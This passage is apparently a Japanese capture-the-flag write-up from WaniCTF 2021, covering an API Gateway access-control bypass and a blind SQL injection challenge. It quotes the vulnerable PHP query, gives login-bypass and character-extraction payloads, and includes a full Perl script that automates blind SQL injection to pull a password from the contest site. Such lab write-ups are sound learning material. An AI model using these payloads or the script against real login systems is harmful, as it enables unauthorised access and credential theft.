# "${CloudFrontDomainName}/admin"に対する通信は"https://${APIID}.execute-api.${AWS::Region}.amazonaws.com/Prod/admin"の結果を利用

とのことである。

問題exceptionと同様にリクエストの「編集して再送信」で例外を発生させ、得られたデータを見ると、
ここで使えそうなドメイン名が書かれていた。
そこで、それを利用してこの/Prod/adminのURLにWebブラウザからアクセスすることで、flagが得られた。

FLAG{ap1_g4teway_acc3ss_con7rol}

watch animal

WebページのURLと、そこで動いているプログラムの情報と考えられるファイル群が与えられた。
目的は、指定のメアドの人のパスワード(=flag)を求めることである。

php/html/db.phpを見ると、

$r = $db->query("SELECT * FROM users WHERE email = '" . $email . "' AND password = '" . $password . "'");

という行があり、入力データをノーガードでSQL文に埋め込んでいる。
例えば、Email addressをaaa、Passwordをaaa' or '1'='1とすることで、ログインに成功する。

Email addressとPasswordとして指定できる文字数には制限があるが、Passwordを

' or email='wanictf21spring@gmail.com' and ASCII(SUBSTRING(password,1,1)) < 128 or '1'='

というような形式にすることで、ログインが成功するか否かによって、
文字数を増やさずにpasswordの指定の位置の文字の情報を得ることができる。
ログインに成功したかどうかは、レスポンスの長さによって簡易判定することができる。

attack.pl
attack.pl
#!/usr/bin/perl

use strict;
use warnings;

# is $pos-th character (1-origin) $q or less?
sub check {
    my ($pos, $q) = @_;
    my $req = "curl -k -s -X POST -F \"email=a\" -F \"password=' or email='wanictf21spring\@gmail.com' and ASCII(SUBSTRING(password,$pos,1)) <= $q or '1'='\" https://watch.web.wanictf.org/";
    open(CURL, "$req |") or die("curl error\n");
    my $res = "";
    while (<CURL>) { $res .= $_; }
    return length($res) > 3000;
}

my $answer = "";
my $pos = 1;

for (;;) {
    my $no = 0;
    my $yes = 255;
    while ($no + 1 < $yes) {
        my $m = $no + (($yes - $no) >> 1);
        if (&check($pos, $m)) {
            $yes = $m;
        } else {
            $no = $m;
        }
    }
    my $ans = chr($yes);
    warn "$pos : $ans\n";
    $answer .= $ans;
    if ($ans eq "}") { last; }
    $pos++;
}

print "$answer\n";

FLAG{bl1ndSQLi}
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0